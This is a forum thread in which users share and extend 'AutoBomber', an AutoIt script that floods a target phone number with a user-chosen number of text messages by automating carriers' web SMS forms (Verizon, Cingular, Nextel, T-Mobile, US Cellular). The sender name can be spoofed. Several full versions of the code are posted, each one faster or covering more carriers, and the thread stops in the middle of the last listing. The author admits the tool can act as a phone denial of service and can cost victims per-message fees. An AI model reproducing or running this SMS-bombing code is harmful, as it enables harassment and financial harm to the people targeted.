Autobomber

[Diverge]

I created this program basically cause my friends and I like to text message each other stupid sayings that we'd normally forward around to each other via our cell phones. Basically I am lazy, and don't like typing stuff on my cell phone, so I started using the cellphone carrier websites to send the messages (while I am bored at work). I then started to creat AutoIt scripts to do the job for me, but my original was based on the resolution of your monitor and relied on mouse movements and clicks. A while ago I came across the IE.au3 Library, but could never figure out how to get it to work (I just found the beta run and beta complile functions yesterday hehe). Using some of the example scripts, and asking some questions, I now have my little program not relying on your resolution or mouse movements, and it can now do 3 cell phone carriers: Verizon, Cingular, and Nextel

I don't know if anyone will have any good uses for this (other then me and my friends), but it could be used maliciously (cell phone DOS, or costing someone lots of money if they don't have a text message package). So don't use it with bad intent. If the mods think it's bad, feel free to remove it. I just figured I share it. BTW, I'm no expert... I've pretty much just taught myself basics of a couple different programming languages by using help files and examples. I'm sure this code can be written a lot better.

To use it, insert your messages that you want in the AutoBomber_msg.txt file, each line will represent a different message that will be randomly picked to send. The AutoBomber_from.txt stores that names that it will randomly pick for the 'From' field of the text message. The AutoBomber_To_CELLCARRIERNAME.txt files will store the last number you used for that particular carrier.

AutoBomber_DLX_V3.1.rar

Edited April 6, 2006 by Diverge

[Diverge]

Hmm, it seems to not want to run on PC's that don't have AutoIt and SciTe on them... comes up with an object error. But it works just fine on the PC I used to create it.

Edit: It actually works on my coworkers PC, and he doesn't have AutoIt or SciTe installed on it. But it is the same exact identical system as my PC... But it didn't work on my home PC, or one of the lab PC's at work... weird

Edited April 7, 2006 by Diverge

[ConsultingJoe]

hey can you zip it instead?

[jaenster]

www.winrar.nl , google > winrar

[Mosquitos]

Here are the files from the rar file...

AutoBomber_DLX_V3.1.au3

AutoBomber__s.txt

AutoBomber_from.txt

AutoBomber_msg.txt

AutoBomber_To_Cingular.txt

AutoBomber_To_Nextel.txt

AutoBomber_To_Verizon.txt

[ConsultingJoe]

Thanks it works great but it did give me an object fail error for something like ready

[ConsultingJoe]

I have add T-Mobile to the list to bomb. This is really a great program.

Are there any other carriers that should be added, LET ME KNOW

Here is the code:

CODE

#include <GUIConstants.au3>

#include <IE.au3>

GUICreate("AutoBomber DLX", 200, 60)

GUICtrlCreateLabel("Pick Cell Carrier to Autobomb", 30, 10)

$verizon = GUICtrlCreateButton("Verizon", 0, 30, 50)

$cingular = GUICtrlCreateButton("Cingular", 50, 30, 50)

$nextel = GUICtrlCreateButton("Nextel", 100, 30, 50)

$tmobile = GUICtrlCreateButton("T-Mobile", 150, 30, 50)

GUISetState(@SW_SHOW)

;--------main loop----------------------------------------------------------------

While 1

$msg = GUIGetMsg()

Select

Case $msg = $verizon

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

Verizon($aFrom,$aMessage,$Cell_Number)

Case $msg = $cingular

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

Cingular($aFrom,$aMessage,$Cell_Number)

Case $msg = $nextel

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

Nextel($aFrom,$aMessage,$Cell_Number)

Case $msg = $tmobile

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

tmobile($aFrom,$aMessage,$Cell_Number)

Case $msg = $GUI_EVENT_CLOSE

ExitLoop

EndSelect

WEnd

;------------T-Mobile website interaction-----------------------------------------

Func tmobile($From,$Message,$Cell_Number)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

$oIE = _IECreate(0)

_IENavigate($oIE, "https://wmg.tmomail.net/customer_site/jsp/messaging_lo.jsp")

_IELoadWait($oIE)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "message_form")

$o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To

$o_msg = _IEFormElementGetObjByName($o_form, "text"); <----Message

$o_from = _IEFormElementGetObjByName($o_form, "require_sender"); <----From

$o_terms = _IEFormElementGetObjByName($o_form, "msgTermsUse"); <-----terms

;------------------------------------------------------------------------------------

_IEFormElementSetValue($o_to, $Cell_Number)

_IEFormElementSetValue($o_msg, $aMessage)

_IEFormElementSetValue($o_from, $aFrom)

$o_terms.click

_IEFormSubmit($o_form)

;-----------page 2(disclaimer)-------------------------------------------------------

_IELoadWait($oIE)

$src = "https://wmg.tmomail.net/customer_site/images/buttons/btn_send_message_lo.gif"

$oInputs = _IETagNameGetCollection($oIE.document, "input")

For $oInput in $oInputs

If $oInput.type = "image" and $oInput.src = $src Then

$oInput.click

ExitLoop

EndIf

Next

_IELoadWait($oIE)

Sleep(2000)

_IEQuit($oIE)

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

EndFunc

;------------verizon website interaction-----------------------------------------

Func Verizon($From,$Message,$Cell_Number)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

$oIE = _IECreate(0)

_IENavigate($oIE, "www.vtext.com")

_IELoadWait($oIE)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "message_form")

$o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To

$o_msg = _IEFormElementGetObjByName($o_form, "text"); <----Message

$o_from = _IEFormElementGetObjByName($o_form, "subject"); <----From

;------------------------------------------------------------------------------------

_IEFormElementSetValue($o_to, $Cell_Number)

_IEFormElementSetValue($o_msg, $aMessage)

_IEFormElementSetValue($o_from, $aFrom)

Sleep(2000)

_IEFormSubmit($o_form)

;-----------page 2(disclaimer)-------------------------------------------------------

_IELoadWait($oIE)

$src = "https://www.vtext.com/customer_site/images/buttons/btn_ok.gif"

$oInputs = _IETagNameGetCollection($oIE.document, "input")

For $oInput in $oInputs

If $oInput.type = "image" and $oInput.src = $src Then

$oInput.click

ExitLoop

EndIf

Next

_IELoadWait($oIE)

Sleep(2000)

_IEQuit($oIE)

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

EndFunc

;-----------cingular website interaction-----------------------------------------

Func Cingular($From,$Message,$Cell_Number)

$oIE = _IECreate(0)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

_IENavigate($oIE, "http://www.cingularme.com/do/public?l=en-US&v=cingular")

_IELoadWait($oIE)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "publicForm")

$o_from = _IEFormElementGetObjByName($o_form, "from"); <----From

$o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To

$o_msg = _IEFormElementGetObjByName($o_form, "msg"); <----Message

;------------------------------------------------------------------------------------

_IEFormElementSetValue($o_from, $aFrom)

_IEFormElementSetValue($o_to, $Cell_Number)

_IEFormElementSetValue($o_msg, $aMessage)

;Sleep(2000)

_IEFormSubmit($o_form)

_IELoadWait($oIE)

Sleep(2000)

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

_IEQuit($oIE)

EndFunc

;-----------nextel website interaction-----------------------------------------

Func Nextel($From,$Message,$Cell_Number)

$oIE = _IECreate(0)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

_IENavigate($oIE, "http://messaging.nextel.com/cgi/iPageExt.dll?cmd=buildIndAddressPage")

_IELoadWait($oIE)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "")

$o_newnumber = _IEFormElementGetObjByName($o_form, "newnumber"); <----Send To

_IEFormElementSetValue($o_newnumber, $Cell_Number)

;------------------------------------------------------------------------------

$src = "http://messaging.nextel.com/assets/images/twoway/btn_go.gif"

$oInputs = _IETagNameGetCollection($oIE.document, "input")

For $oInput in $oInputs

If $oInput.type = "image" and $oInput.src = $src Then

$oInput.click

ExitLoop

EndIf

Next

_IELoadWait($oIE)

$o_form2 = _IEFormGetObjByName($oIE, "msgForm")

$o_from = _IEFormElementGetObjByName($o_form2, "from"); <----From

$o_messsage = _IEFormElementGetObjByName($o_form2, "message"); <----Message

$o_replynumber = _IEFormElementGetObjByName($o_form2, "replynumber")

_IEFormElementSetValue($o_from, $aFrom)

_IEFormElementSetValue($o_messsage, $aMessage)

_IEFormElementSetValue($o_replynumber, $Cell_Number)

;---------------------------------------------------------

$src = "http://messaging.nextel.com/assets/images/twoway/btn_sendmessage.gif"

$oInputs = _IETagNameGetCollection($oIE.document, "input")

For $oInput in $oInputs

If $oInput.type = "image" and $oInput.src = $src Then

$oInput.click

ExitLoop

EndIf

Next

_IELoadWait($oIE)

Sleep(2000)

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

_IEQuit($oIE)

EndFunc

[CitizenErased]

sweet program, but Zero dont you even dare trying this on me since i seem to be becoming your guinea pig for your dumb pranks, texts to or from my phone are 10cents a piece.

[ConsultingJoe]

sweet program, but Zero dont you even dare trying this on me since i seem to be becoming your guinea pig for your dumb pranks, texts to or from my phone are 10cents a piece.

LOL, DJ and I were just thinking about it today, but we don't have ur number, lol. I would't though.

I have updated the code again, Now with these carriers:

Nextel & Sprint (Sprint untested)US CellularCingularT-MobileVerison

Virgin Mobile is next on my list They don't have sms service online, if there are any other carriers, let me know

CODE

#include <GUIConstants.au3>

#include <IE.au3>

GUICreate("AutoBomber DLX", 260, 60)

GUICtrlCreateLabel("Pick Cell Carrier to Autobomb", 60, 10)

$verizon = GUICtrlCreateButton("Verizon", 0, 30, 50)

$cingular = GUICtrlCreateButton("Cingular", 50, 30, 50)

$nextel = GUICtrlCreateButton("Nextel", 100, 30, 50)

$tmobile = GUICtrlCreateButton("T-Mobile", 150, 30, 50)

$uscell = GUICtrlCreateButton("US Cellular", 200, 30, 60)

GUISetState(@SW_SHOW)

;--------main loop----------------------------------------------------------------

While 1

$msg = GUIGetMsg()

Select

Case $msg = $verizon

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

Verizon($aFrom,$aMessage,$Cell_Number)

Case $msg = $uscell

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)", "5555551212" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

USCell($aFrom,$aMessage,$Cell_Number)

Case $msg = $cingular

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

Cingular($aFrom,$aMessage,$Cell_Number)

Case $msg = $nextel

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

Nextel($aFrom,$aMessage,$Cell_Number)

Case $msg = $tmobile

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

tmobile($aFrom,$aMessage,$Cell_Number)

Case $msg = $GUI_EVENT_CLOSE

ExitLoop

EndSelect

WEnd

;------------T-Mobile website interaction-----------------------------------------

Func tmobile($From,$Message,$Cell_Number)

$oIE = _IECreate(0)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

_IENavigate($oIE, "https://wmg.tmomail.net/customer_site/jsp/messaging_lo.jsp")

_IELoadWait($oIE)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "message_form")

$o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To

$o_msg = _IEFormElementGetObjByName($o_form, "text"); <----Message

$o_from = _IEFormElementGetObjByName($o_form, "require_sender"); <----From

$o_terms = _IEFormElementGetObjByName($o_form, "msgTermsUse"); <-----terms

;------------------------------------------------------------------------------------

_IEFormElementSetValue($o_to, $Cell_Number)

_IEFormElementSetValue($o_msg, $aMessage)

_IEFormElementSetValue($o_from, $aFrom)

$o_terms.click

_IEFormSubmit($o_form)

;-----------page 2(disclaimer)-------------------------------------------------------

_IELoadWait($oIE)

$src = "https://wmg.tmomail.net/customer_site/images/buttons/btn_send_message_lo.gif"

$oInputs = _IETagNameGetCollection($oIE.document, "input")

For $oInput in $oInputs

If $oInput.type = "image" and $oInput.src = $src Then

$oInput.click

ExitLoop

EndIf

Next

_IELoadWait($oIE)

;Sleep(2000)

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

_IEQuit($oIE)

TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)

EndFunc

;------------US Cellular website interaction-----------------------------------------

Func USCell($From,$Message,$Cell_Number)

$oIE = _IECreate(0)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

_IENavigate($oIE, "http://usc.ztango.com/uscwmss")

_IELoadWait($oIE, 2000)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "message_form")

$o_to = _IEFormElementGetObjByName($o_form, "ADDRESSES"); <----Send To

$o_msg = _IEFormElementGetObjByName($o_form, "MSG_TMP"); <----Message

$o_from = _IEFormElementGetObjByName($o_form, "FROMADDRESS"); <----From

$o_terms = _IEFormElementGetObjByName($o_form, "tc_agree"); <-----terms

;------------------------------------------------------------------------------------

_IEFormElementSetValue($o_to, $Cell_Number)

_IEFormElementSetValue($o_msg, $aMessage)

_IEFormElementSetValue($o_from, $aFrom)

$o_terms.click

_IELoadWait($oIE)

_IEClickImg($oIE, "http://usc.ztango.com/images/usc_bn_send.gif")

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

_IEQuit($oIE)

TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)

EndFunc

;------------verizon website interaction-----------------------------------------

Func Verizon($From,$Message,$Cell_Number)

$oIE = _IECreate(0)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

_IENavigate($oIE, "www.vtext.com")

_IELoadWait($oIE)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "message_form")

$o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To

$o_msg = _IEFormElementGetObjByName($o_form, "text"); <----Message

$o_from = _IEFormElementGetObjByName($o_form, "subject"); <----From

;------------------------------------------------------------------------------------

_IEFormElementSetValue($o_to, $Cell_Number)

_IEFormElementSetValue($o_msg, $aMessage)

_IEFormElementSetValue($o_from, $aFrom)

;Sleep(2000)

_IEFormSubmit($o_form)

;-----------page 2(disclaimer)-------------------------------------------------------

_IELoadWait($oIE)

$src = "https://www.vtext.com/customer_site/images/buttons/btn_ok.gif"

$oInputs = _IETagNameGetCollection($oIE.document, "input")

For $oInput in $oInputs

If $oInput.type = "image" and $oInput.src = $src Then

$oInput.click

ExitLoop

EndIf

Next

_IELoadWait($oIE)

;Sleep(2000)

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

_IEQuit($oIE)

TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)

EndFunc

;-----------cingular website interaction-----------------------------------------

Func Cingular($From,$Message,$Cell_Number)

$oIE = _IECreate(0)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

_IENavigate($oIE, "http://www.cingularme.com/do/public?l=en-US&v=cingular")

_IELoadWait($oIE)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "publicForm")

$o_from = _IEFormElementGetObjByName($o_form, "from"); <----From

$o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To

$o_msg = _IEFormElementGetObjByName($o_form, "msg"); <----Message

;------------------------------------------------------------------------------------

_IEFormElementSetValue($o_from, $aFrom)

_IEFormElementSetValue($o_to, $Cell_Number)

_IEFormElementSetValue($o_msg, $aMessage)

;Sleep(2000)

_IEFormSubmit($o_form)

_IELoadWait($oIE)

;Sleep(2000)

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

_IEQuit($oIE)

TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)

EndFunc

;-----------nextel website interaction-----------------------------------------

Func Nextel($From,$Message,$Cell_Number)

$oIE = _IECreate(0)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

_IENavigate($oIE, "http://messaging.nextel.com/cgi/iPageExt.dll?cmd=buildIndAddressPage")

_IELoadWait($oIE)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "")

$o_newnumber = _IEFormElementGetObjByName($o_form, "newnumber"); <----Send To

_IEFormElementSetValue($o_newnumber, $Cell_Number)

;------------------------------------------------------------------------------

$src = "http://messaging.nextel.com/assets/images/twoway/btn_go.gif"

$oInputs = _IETagNameGetCollection($oIE.document, "input")

For $oInput in $oInputs

If $oInput.type = "image" and $oInput.src = $src Then

$oInput.click

ExitLoop

EndIf

Next

_IELoadWait($oIE)

$o_form2 = _IEFormGetObjByName($oIE, "msgForm")

$o_from = _IEFormElementGetObjByName($o_form2, "from"); <----From

$o_messsage = _IEFormElementGetObjByName($o_form2, "message"); <----Message

$o_replynumber = _IEFormElementGetObjByName($o_form2, "replynumber")

_IEFormElementSetValue($o_from, $aFrom)

_IEFormElementSetValue($o_messsage, $aMessage)

_IEFormElementSetValue($o_replynumber, $Cell_Number)

;---------------------------------------------------------

$src = "http://messaging.nextel.com/assets/images/twoway/btn_sendmessage.gif"

$oInputs = _IETagNameGetCollection($oIE.document, "input")

For $oInput in $oInputs

If $oInput.type = "image" and $oInput.src = $src Then

$oInput.click

ExitLoop

EndIf

Next

_IELoadWait($oIE)

;Sleep(2000)

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

_IEQuit($oIE)

TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)

EndFunc

Edited April 11, 2006 by zerocool60544

[Lapo]

use :

[ code ] without spaces

your code

[/ code ] without spaces

MsgBox(262144, "", $a)

Your above code is hard to copy and paste

Edited April 11, 2006 by Lapo

[ConsultingJoe]

^^^

????

[Diverge]

I'm glad you guys like it, and liked it enough to add more to it. It wouldn't have been as flawless without that IE library that Dale created (mouse movement and clicks in the original made it buggy).

I haven't been playing with it much lately, kinda on and off with it. But I was just curious if anyone that got the object error figured out what was causing it? I just found it wierd to work just fine on some systems, and then come up with an object error on others. Maybe it has to do with Internet Explorer version, or some other windows updates...? Anyway, have fun and don't use it maliciously, those 10 cent charges could add up if someone doesn't have a txt msg package.

[pingpong24]

can we add some Uk poviders thanks

[ConsultingJoe]

can we add some Uk poviders thanks

Give me there sites for the carriers and I will see what I can do,

FASTER

UPDATED

CODE

#include <GUIConstants.au3>

#include <IE.au3>

Opt("TrayIconDebug", 1)

Toggle_Images(1)

GUICreate("AutoBomber DLX", 260, 60)

GUICtrlCreateLabel("Pick Cell Carrier to Autobomb", 60, 10)

$verizon = GUICtrlCreateButton("Verizon", 0, 30, 50)

$cingular = GUICtrlCreateButton("Cingular", 50, 30, 50)

$nextel = GUICtrlCreateButton("Nextel", 100, 30, 50)

$tmobile = GUICtrlCreateButton("T-Mobile", 150, 30, 50)

$uscell = GUICtrlCreateButton("US Cellular", 200, 30, 60)

GUISetState(@SW_SHOW)

;--------main loop----------------------------------------------------------------

While 1

$msg = GUIGetMsg()

Select

Case $msg = $verizon

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

Verizon($aFrom,$aMessage,$Cell_Number)

Case $msg = $uscell

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)", "5555551212" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

USCell($aFrom,$aMessage,$Cell_Number)

Case $msg = $cingular

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

Cingular($aFrom,$aMessage,$Cell_Number)

Case $msg = $nextel

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

Nextel($aFrom,$aMessage,$Cell_Number)

Case $msg = $tmobile

$Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)")

$iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1)

$aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" )

$aMessage = InputBox("-< AutoBomber >-", "Enter the message to send")

tmobile($aFrom,$aMessage,$Cell_Number)

Case $msg = $GUI_EVENT_CLOSE

ExitLoop

EndSelect

WEnd

;------------T-Mobile website interaction-----------------------------------------

Func tmobile($From,$Message,$Cell_Number)

$oIE = _IECreate(0)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

_IENavigate($oIE, "https://wmg.tmomail.net/customer_site/jsp/messaging_lo.jsp")

_IELoadWait($oIE, 2000)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "message_form")

$o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To

$o_msg = _IEFormElementGetObjByName($o_form, "text"); <----Message

$o_from = _IEFormElementGetObjByName($o_form, "require_sender"); <----From

$o_terms = _IEFormElementGetObjByName($o_form, "msgTermsUse"); <-----terms

;------------------------------------------------------------------------------------

_IEFormElementSetValue($o_to, $Cell_Number)

_IEFormElementSetValue($o_msg, $aMessage)

_IEFormElementSetValue($o_from, $aFrom)

$o_terms.click

_IEFormSubmit($o_form)

;-----------page 2(disclaimer)-------------------------------------------------------

_IELoadWait($oIE, 2000)

$src = "https://wmg.tmomail.net/customer_site/images/buttons/btn_send_message_lo.gif"

$oInputs = _IETagNameGetCollection($oIE.document, "input")

For $oInput in $oInputs

If $oInput.type = "image" and $oInput.src = $src Then

$oInput.click

ExitLoop

EndIf

Next

_IELoadWait($oIE, 2000)

;Sleep(2000)

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

_IEQuit($oIE)

TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)

EndFunc

;------------US Cellular website interaction-----------------------------------------

Func USCell($From,$Message,$Cell_Number)

$oIE = _IECreate(0)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

_IENavigate($oIE, "http://usc.ztango.com/uscwmss")

_IELoadWait($oIE, 2000)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "message_form")

$o_to = _IEFormElementGetObjByName($o_form, "ADDRESSES"); <----Send To

$o_msg = _IEFormElementGetObjByName($o_form, "MSG_TMP"); <----Message

$o_from = _IEFormElementGetObjByName($o_form, "FROMADDRESS"); <----From

$o_terms = _IEFormElementGetObjByName($o_form, "tc_agree"); <-----terms

;------------------------------------------------------------------------------------

_IEFormElementSetValue($o_to, $Cell_Number)

_IEFormElementSetValue($o_msg, $aMessage)

_IEFormElementSetValue($o_from, $aFrom)

$o_terms.click

_IELoadWait($oIE, 2000)

_IEClickImg($oIE, "http://usc.ztango.com/images/usc_bn_send.gif")

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

_IEQuit($oIE)

TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)

EndFunc

;------------verizon website interaction-----------------------------------------

Func Verizon($From,$Message,$Cell_Number)

$oIE = _IECreate(0)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

_IENavigate($oIE, "www.vtext.com")

_IELoadWait($oIE, 2000)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "message_form")

$o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To

$o_msg = _IEFormElementGetObjByName($o_form, "text"); <----Message

$o_from = _IEFormElementGetObjByName($o_form, "subject"); <----From

;------------------------------------------------------------------------------------

_IEFormElementSetValue($o_to, $Cell_Number)

_IEFormElementSetValue($o_msg, $aMessage)

_IEFormElementSetValue($o_from, $aFrom)

;Sleep(2000)

_IEFormSubmit($o_form)

;-----------page 2(disclaimer)-------------------------------------------------------

_IELoadWait($oIE, 2000)

$src = "https://www.vtext.com/customer_site/images/buttons/btn_ok.gif"

$oInputs = _IETagNameGetCollection($oIE.document, "input")

For $oInput in $oInputs

If $oInput.type = "image" and $oInput.src = $src Then

$oInput.click

ExitLoop

EndIf

Next

_IELoadWait($oIE, 2000)

;Sleep(2000)

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

_IEQuit($oIE)

TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)

EndFunc

;-----------cingular website interaction-----------------------------------------

Func Cingular($From,$Message,$Cell_Number)

$oIE = _IECreate(0)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

_IENavigate($oIE, "http://www.cingularme.com/do/public?l=en-US&v=cingular")

_IELoadWait($oIE, 2000)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "publicForm")

$o_from = _IEFormElementGetObjByName($o_form, "from"); <----From

$o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To

$o_msg = _IEFormElementGetObjByName($o_form, "msg"); <----Message

;------------------------------------------------------------------------------------

_IEFormElementSetValue($o_from, $aFrom)

_IEFormElementSetValue($o_to, $Cell_Number)

_IEFormElementSetValue($o_msg, $aMessage)

;Sleep(2000)

_IEFormSubmit($o_form)

_IELoadWait($oIE, 2000)

;Sleep(2000)

$iNumberOfBombs= $iNumberOfBombs - 1

Until $iNumberOfBombs <= 0

_IEQuit($oIE)

TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)

EndFunc

;-----------nextel website interaction-----------------------------------------

Func Nextel($From,$Message,$Cell_Number)

$oIE = _IECreate(0)

Do

TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16)

_IENavigate($oIE, "http://messaging.nextel.com/cgi/iPageExt.dll?cmd=buildIndAddressPage")

_IELoadWait($oIE, 2000)

;------------------------------------------------------------------------------------

$o_form = _IEFormGetObjByName($oIE, "")

$o_newnumber = _IEFormElementGetObjByName($o_form, "newnumber"); <----Send To

_IEFormElementSetValue($o_newnumber, $Cell_Number)

;------------------------------------------------------------------------------

$src = "http://messaging.nextel.com/assets/images/twoway/btn_go.gif"

$oInputs = _IETagNameGetCollection($oIE.document, "input")

For $oInput in $oInputs

If $oInput.type = "image" and $oInput.src = $src Then

$oInput.click

ExitLoop

EndIf

Next

_IELoadWait($oIE, 2000)

$o_form2 = _IEFormGetObjByName($oIE, "msgForm")

$o_from = _IEFormElementGetObjByName($o_form2, "from"); <----From

$o_messsage = _IEFormElementGetObjByName($o_form2, "message"); <----Message

$o_replynumber = _IEFormElementGetObjByName($o_form2, "replynumber")

